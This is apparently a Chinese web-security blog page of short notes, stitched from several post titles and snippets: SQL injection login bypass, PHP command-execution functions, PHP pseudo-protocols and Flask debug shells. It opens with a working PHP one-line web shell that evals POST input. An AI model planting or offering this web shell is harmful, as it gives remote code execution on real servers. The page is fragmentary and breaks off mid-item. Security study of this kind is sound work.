一句话木马(搜了很多次了懒得记)
<?php @eval($_POST['attack']);?>
ynnddddd 发布的文章
sql注入万能账号密码
常见的系统命令执行函数(php)
1、system() :
system — 执行外部程序(命令行)，并且显示输出
这个函数会将结果直接进行输出 (注意：是直接输出区别于返回值，因为这个，我一般不用它)，命令成功后返回输出的最后一行，失败返回FALSE
php伪协议总结
php支持的伪协议:
Flask模板在web上存在debug调试,有可交互的shell
1.首先出现